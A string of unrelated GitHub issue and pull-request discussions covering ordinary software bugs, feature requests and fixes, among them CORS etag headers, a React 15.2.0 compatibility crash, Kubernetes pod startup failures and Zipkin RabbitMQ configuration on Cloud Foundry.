It would be great to be able to see where some particular block starts and ends, this would be useful to understand with some messy files what are we looking into or when defining some test with describes to understand where some particular describe ends, can be also done with folding ranges but i feel is useful to have this one. Left some images with examples, i think this can be an improvement on the document highlighting

Description
Something similar to document highlighting but for the blocks.
When the cursor is over this "block starters" to highlight the corresponding end.
Implementation
No response

Hi Team, Im looking at this issue.


Upgrading to Swift 2

The changes in this PR should make SwiftyConcur work with Swift 2. It also upgrades SwiftyJSON, OHHTTPStubs and Alamofire dependencies to Swift 2.

CI is failing because it is still trying to download old Alamofire. Will be fixed on pod push.


Add support for rstream get/release record in the QUIC TLS layer

The QUIC TLS layer was taking an internal copy of rstream data while reading. The QUIC rstream code has recently been extended to enable a get/release model which avoids the need for this internal copy, so we use that instead.
We also make the "data" field of the TLS record layer "get_record" function "const". This improves consistency with the QUIC rstream implementation - and improves the abstraction between the TLS implementation and the abstract record layer. We should not expect that the TLS implementation should be able to change the underlying buffer. Future record layers may not expect that.
This is built on the commits in #19794, and is therefore draft until that PR has been merged.

Now that #19794 has been merged, I've rebased this PR and taken it out of draft. It is now ready for review. Please take a look

I added "test: exempted" for this. Is that the right label? Its a refactor, so no additional tests are required.

Ping for review

Still looking for a second approval on this.

This pull request is ready to merge

Merged!


inline attachments are not supported

I have an eml with embedded images and a zip file attached. It only detects the zip file.

I think its a 'related body part', not an attachment. Found it on google, search for "CDO Embed Image". See http://support.jodohost.com/threads/tut-how-to-add-embedded-images-in-cdo-mail.7692/. Please let us know if and this works for you.


Create a Simple Theme without Glass Morphism.

Glass Morphism theme may not be suitable for every day usage. Its better to have a normal theme.

This will require some changes in layout we need to make blurriness configurable. I will update with more details


Tracking: Ubuntu Touch support

@giorez please try with the latest commit

when I run "./download.sh", I get this error: cannot open /home/gio/ppp-multi-image/distros/ut/config: No such file.

it works!

good to hear


Can't read etags headers from the frontend

We need that the backend supports Access-Control-Expose-Headers for etags in order to read that value within the frontend
More information about this can be read here

This issue has been fixed, can you test it @Agupane?

Hi @Uxio0 ! I'm afraid that the issue is still there. This is the url example that I'm using:
https://safe-transaction.staging.gnosisdev.com/api/v1/safes/0xdfA693da0D16F5E7E78FdCBeDe8FC6eBEa44f1Cf/transactions/

And this are the response headers:

Can you try again? :)
El lun., 9 mar. 2020 14:59, Agustin Pane<EMAIL_ADDRESS>escribió:

Hi @Uxio0 https://github.com/Uxio0 ! I'm afraid that the issue is still
there. This is the url example that I'm using:
https://safe-transaction.staging.gnosisdev.com/api/v1/safes/0xdfA693da0D16F5E7E78FdCBeDe8FC6eBEa44f1Cf/transactions/
And this are the response headers:
[image: image]
https://user-images.githubusercontent.com/21086218/76219695-fa735b80-61f4-11ea-871d-b1f6c88cd002.png
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/gnosis/safe-transaction-service/issues/73?email_source=notifications&email_token=ABUW3W4S2ULJAHMATVQ5643RGTY3BA5CNFSM4LDENBJ2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEOHHVJQ#issuecomment-596540070,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/ABUW3WY73SJHPLLUF2U73XTRGTY3BANCNFSM4LDENBJQ
.

It's still the same :(

Hi @Uxio0 ! I'm afraid that the issue is still there. This is the url example that I'm using:
https://safe-transaction.staging.gnosisdev.com/api/v1/safes/0xdfA693da0D16F5E7E78FdCBeDe8FC6eBEa44f1Cf/transactions/

It should be working now, I see this when querying that url, so it seems ok backend side:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization
Access-Control-Allow-Methods: OPTIONS, GET, HEAD
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: etag

It's working now, maybe there was a problem with cache?.
Closing this issue, thanks for you help :)

Awesome :) Thanks @Agupane


TH100 when using cls in classmethod

Describe the bug
When using classmethods in python it's common to use cls rather then self as the first argument of the method.
I can see that flake8-typehinting don't know that so it gives me an error:
TH100 function missing type hints for arguments (cls)

Any news on this @gagelarsen? 😇


React 15.2.0 issue

Version
Tell us which versions you are using:

tcomb-form v0.9.7
react v0.15.2

Expected behaviour
should run without issues
Actual behaviour
After upgrading to react 15.2.0, tcomb-form throws an error:
Uncaught TypeError: Cannot read property '_idCounter' of undefined
Steps to reproduce

Upgrade react to 15.2.0
Run a web app and navigate to one of the components that uses tcomb-forms
You should see the error stated above.

Stack trace and console log
I tracked down the error and it originates in this line:823 in components.js
this._reactInternalInstance._nativeContainerInfo._idCounter
it seems that _nativeContainerInfo is no longer exists on the _reactInternalInstance and it has changed in react 15.2.0 to be _hostContainerInfo
so the above line should read
this._reactInternalInstance._hostContainerInfo._idCounter
Now to fix it, I think you check for both (old and new) and select whatever available just to get react compatibility right.

Thanks @kikoanis. I can confirm that the bug exists and that the suggested fix works for 15.2.0.


Changelog entries are listed in 2010 and not 201

Look at the following files:
https://github.com/poem-web/poem/blob/master/poem/CHANGELOG.md
https://github.com/poem-web/poem/blob/master/poem-lambda/CHANGELOG.md
https://github.com/poem-web/poem/blob/master/poem-openapi/CHANGELOG.md
The change entries are all from 2010 and not 2021 for some reason. I apologize if I am not understanding something here...

Hahaha, thank you for telling me this! 😂


Feat: improve completion items

As the rule names are often really long, it's difficult to choose the right item from the completion menu:

We need to find a way to make it more readable. Here a few ideas (don't hesitate to suggest others @johangirod @Clemog):

Put in first position children rules of the current rule + remove the namespace of this rule.
Only put the first letters of each name segment (e.g. logement . électricité . photovoltaique . présent becomes log . éle . pho . présent)
Directly put the title of the rule and the full rule name as hint after it.

I think the full name is a good choice. But I would rather prioritize for the shorter namespace, and not proposing the childrens. The idea is to achieve a flow of multiple autocompletion by narrowing the context. I find myself trying to do that with the extension, but it's not supported for now.
Here is an example :

Let say I know I want to reference a rule for « clé de répartition retraie complémentaire pour les cotisation auto-entrepreneur », but I don't remember the exact name.
I start by narrowing the context by typing « autoentrepreneur ». In this case, we would want to have only « dirigeant . auto-entrepreneur » that match, but none of its children rules!
I find the rule « dirigeant . auto-entrepreneur » and type « Enter »
Then, I want to see if there is a « cotisation » rule. I immediately type « space + Enter » for toggling autocompletion, and the autocomplete only provides rules that are children of the current one. I type « cotisation » and then « retraite » and here I go.

Presently, the behavior in bold are not implemented, but I think it would benefit greatly to the DX.
The second improvement would be to prioritize child rules of the current namespace, and then the parents' one. And not autocomplete from the root when a rule is found, instead just having the relative path from the common ancestor.

The idea is to achieve a flow of multiple autocompletion by narrowing the context.

It would be great for sure! However, I'm not sure that's possible as spaces are allowed in rule names :thinking:

It would be great for sure! However, I'm not sure that's possible as spaces are allowed in rule names 🤔

Mmmh, good point. It could be done so that when the selected autocompleted rule has children (is a namespace), the inserted string automatically adds a trailing . at the end.
Or maybe I'm missing a technical limitation of some other kind?


django-image-cropping not working in Django 2.x

Hi,
I'm getting crazy with this, using the same code as the Demo, and the frontend part of cropping not working.
There is no error in Inspect Elements, the jQuery is loading fine etc, I dont know what it can be, any guesses?
Thank you!!!

Yeah @Seykotron you're right. Right now the django-image-cropping package is not working 😢.
We need to work in the last version integration. Had it tested and running with Django 1.x but it crashed with 2.x. I saw django-image-cropping has now support for Django 2.1 so the code needs to be updated (probably in the next release). Thanks for noticing.

Let me know if I can give you a hand to fix it, I need this feature hehehe
I also have some modifications in the code for example let __icontains in filter_list, I think it can be very usefull :)

Hey @Seykotron, cropping is working here in Demo project with Django==2.2.3 + django-image-cropping==1.2.0

Please give a look to your environment versions and let me  know if it works there. Also if it doesn't please try to prepare something like a demo-project or some bundle that I could download and run here in my environments.

I was fifty-fifty wrong in last comment. It is working if you edit/update a record that already has the image, but it is not working if you're adding a new record.


Add Japanese translations

Thanks for the great framework!
I added a Japanese translation, so please check it.
I've seen it work:

@mimonelu 有り難う!
This looks like great work, and I appreciate the screenshot of inputs/validation rules too. I'm merging this now and will publish 1.2.0 of vue-formulate-i18n and then version bump the main package to include this<EMAIL_ADDRESS>sometime today. Thanks! 👍


nuxtServerInit does not work if it is not in store/index.js

nuxtServerInit does not work in it is not in store/index.js. if you rename 'store/index.jsto something else functionnuxtServerInit` never runs in server side.

Hi @Mirodil
It's an expected behaviour, please see https://github.com/nuxt/nuxt.js/issues/169#issuecomment-275759867

but is it odd, index.js can use nuxtServerInit function but todo.js cannot use the same function? and also you cannot have index.js and todo.js under store folder. it will load only index.js

It depends of how you export your store in your index.js file @Mirodil
Can you provide us your index.js?


Benchmarking on K8 Cluster is not working

Describe the bug
Kubernetes pods fail to start although the docker image gets built properly and runs fine locally.
The pod logs show the below error only without anything additional:
standard_init_linux.go:228: exec user process caused: exec format error

Upon doing a describe on the pod following events were seen:
Events:
  Type     Reason     Age                    From               Message
  ----     ------     ----                   ----               -------
  Normal   Scheduled  9m22s                  default-scheduler  Successfully assigned benchmark/troubleshoot to gke-astro-sdk-benchmark-970c8c52-83n3
  Normal   Pulled     7m11s                  kubelet            Successfully pulled image "gcr.io/astronomer-dag-authoring/benchmark" in 2m9.538751579s
  Normal   Pulled     7m1s                   kubelet            Successfully pulled image "gcr.io/astronomer-dag-authoring/benchmark" in 256.88835ms
  Normal   Pulled     6m48s                  kubelet            Successfully pulled image "gcr.io/astronomer-dag-authoring/benchmark" in 208.395845ms
  Normal   Started    6m22s (x4 over 7m10s)  kubelet            Started container troubleshoot-benchmark
  Normal   Pulled     6m22s                  kubelet            Successfully pulled image "gcr.io/astronomer-dag-authoring/benchmark" in 205.447865ms
  Warning  BackOff    5m56s (x6 over 7m1s)   kubelet            Back-off restarting failed container
  Normal   Created    5m41s (x5 over 7m10s)  kubelet            Created container troubleshoot-benchmark
  Normal   Pulled     5m41s                  kubelet            Successfully pulled image "gcr.io/astronomer-dag-authoring/benchmark" in 173.949936ms
  Normal   Pulling    4m18s (x6 over 9m21s)  kubelet            Pulling image "gcr.io/astronomer-dag-authoring/benchmark"
(base) ➜  astro-sdk git:(redshift-benchmark) ✗ kubectl logs troubleshoot -n benchmark
standard_init_linux.go:228: exec user process caused: exec format error

branch - https://github.com/astronomer/astro-sdk/tree/redshift-benchmark
Version

Astro: [e.g. 1.0.2]

To Reproduce
Steps to reproduce the behavior:

In astro-sdk repo, change directory to python-sdk/tests/benchmark
Make adjustments to the config.json file to test relevant databases & datasets.
Assuming we have a Kubernetes cluster setup, run the below make commands:
a. Set environment variable pointing to the GCP service account json so that the script can access required resources.
export GOOGLE_APPLICATION_CREDENTIALS="gcp.json"
b. make container This builds the benchmark image and pushes it to gcr.io hub
c. run_job This submits the benchmark job to the kubernetes cluster which launches pods to run the script for given dataset.

Expected behavior
The kubernetes pods should launch and be able to pull the image and run the benchmarking script.

@pankajkoti Can you please fill in the  details?

@utkarsharma2 Thanks for creating the ticket. I have updated the description.

@tatiana any update on this?

@kaxil started working on it around 1h30 ago - will create a PR once I have made progress on it.

PR: #825


[WIP] Use async syntax for proxy

This is functionally the same as the proof of concept in the feature branch except it adds an optional --ip flag. It doesn't solve any tickets, but it provides a better structure with which to move forward.

closing in favor of #883 because i am very bad at git


Auto configuration of RabbitMQ on PCF

We are moving from Zipkin 1 to Zipkin 2 as part of our plan to use Spring Cloud Edgware. We are also moving away from having our own custom ZipKin server to openzipkin as support for custom servers has been deprecated and is apparently planned for removal under Spring Cloud Finchley.
We run all our apps on PCF, prior to moving to Edgware and ZipKin 2 our integration was via RabbitMQ. using the following dependencies:
compile('org.springframework.cloud:spring-cloud-sleuth-zipkin-stream')
compile('org.springframework.cloud:spring-cloud-starter-sleuth')
compile('org.springframework.cloud:spring-cloud-stream-binder-rabbit')

RabbitMQ runs as a service on PCF which is bound to each app when it is deployed. Both the ZipKin 1 clients and server auto configured themselves to use RabbitMQ if an instance of RabbitMQ was found at run-time. This feature is supported on the client if you add the following dependencies:
compile "org.springframework.cloud:spring-cloud-starter-zipkin"
compile "org.springframework.amqp:spring-rabbit"

....... but it does not seem to exist in openzipkin! openzipkin requires a url, username/password or a amgp:// uri to connect to RabbitMQ. As we do not have direct control of the Rabbit instance and the hosts and credentials can change on PCF, we cannot hard code them into the server properties.
To provide support for PCF, can openzipkin be updated to use Cloud Connectors to discover and use any bound instances of RabbitMQ, instead of needing to be given the connection information ?

@shakuzen @marcingrzejszczak can you help vet this issue. I'm concerned about adding more core dependencies to the base server. I thought there were people who are already using PCF with zipkin and rabbit

I can take a closer look tomorrow as it is already late here. I believe Marcin and Reshmi already have run Zipkin on PCF. I have easy access to a CF instance but not PCF (no rabbit service for me).
In general, though, you can use placeholders for variables provided by bound CF services, which is how I would try to do this now. So you should be able to use the URI provided by the bound service as the rabbit uri for the Zipkin server.

I've confirmed that things are working.
manifest - https://github.com/spring-cloud-samples/sleuth-documentation-apps/blob/master/zipkin-server/manifest.yml
applications:
- name: docssleuth-zipkin-server
  memory: 1024M
  instances: 1
  host: docssleuth-zipkin-server
  path: build/zipkin.jar
  services:
    - docssleuth-rabbitmq
    - docssleuth-mysql
  env:
    SPRING_PROFILES_ACTIVE: cloud
    DEBUG: "true"
    RABBIT_URI: ${vcap.services.docssleuth-rabbitmq.credentials.uri}

Trace:
https://docssleuth-zipkin-server.cfapps.io/zipkin/traces/1473953b3f9b37e5
Example to run:
https://github.com/spring-cloud-samples/sleuth-documentation-apps#running-acceptance-tests-of-cf
NOTE: The spans were sent via HTTP but Zipkin has managed to connect to rabbit. Remember to user RABBIT_URI not RABBIT_ADDRESSES

I have just tried it and that works! Thanks for the very quick response and resolution. Would it be a good idea to add this to the RabbitMQ Documentation as another configuration example ?

I'm assuming the important part is below.. the other variables like SPRING_PROFILES_ACTIVE are not needed?
  services:
    - your-rabbitmq
  env:
    RABBIT_URI: ${vcap.services.your-rabbitmq.credentials.uri}

We should likely prefix any special instructions with how to provision "your-rabbitmq" and put them in the autoconfigure/collector-rabbitmq README with that section linked from the rabbitmq section of the normal server README I guess?

@adriancole sounds reasonable for the most part. My only concern is that the provisioning command (e.g. available plans) and properties the provisioned service will expose depend on the service provider (though there tends to be something of a convention for using uri). Here's the general documentation on CF services: https://docs.cloudfoundry.org/devguide/services/managing-services.html
For PCF, it looks like this is the official RabbitMQ service: http://docs.pivotal.io/rabbitmq-cf/1-11/index.html
And here's the Spring Boot documentation that explains it will make available the bound service properties to the Spring environment: https://docs.spring.io/spring-boot/docs/current/reference/htmlsingle/#cloud-deployment-cloud-foundry-services

this is pretty old issue so I'm closing it as it is ranking on github's auto-generated list but there are more pressing things to rank.


Implement codegen's type lookup in a more extensible fashion

Currently in codegen, when we're attempting to figure out the NativeSqlType to map to for a table, we do the following:

Is the first character of the type name an _? If so ::diesel::types::Array<{next step}>
::diesel::types::{type name with capitalized first letter}

This was a wart that was the "absolute minimum that could possibly work" to get 0.1 out the door, but it's time for it to go.
The main constraint here is that the system we replace this with is something that third party crates can hook into. I also do not want to require that the type be in scope, so we need to get the full path (::diesel::types::* is rarely in scope, and I don't want it to be).
In an ideal world, third party crates could just do something like #[diesel_type_lookup(oid = "1234")] pub struct PostGisOrSomething, but I don't think that's possible (especially with the added constraint that I want to potentially take an arbitrary function), as I don't believe that we can have mutable state as part of a compilation unit that crosses crate boundaries.
So I think the best way we can actually do this is to have a database table. This means that other crates will have to actually populate it, but we can have a macro required or a function call required from build.rs. In the simplest case this can be a table that maps oid -> path to type, and we continue to special case arrays (though based on pg_type.typcategory instead of the name). If we don't want to special case arrays, I think we end up with a metadata entry that is an array of SQL function names. Each of these functions would take a pg_type row, and return the path to the modifier and another oid if it matches, or null if it doesn't.
In either case, all of Diesel's lookups should go through this same machinery. It should not be special cased.

Moving this to 1.0 as while it's important for launch, it's not immediately a problem

The basic idea of how the lookup works hasn't changed, but we do provide the ability to have that result in types from places other than diesel::types. I think this is sufficient until I see a use case showing otherwise.


Document minecraft thing in faq

https://github.com/tipsy/javalin/issues/358

https://javalin.io/documentation#minecraft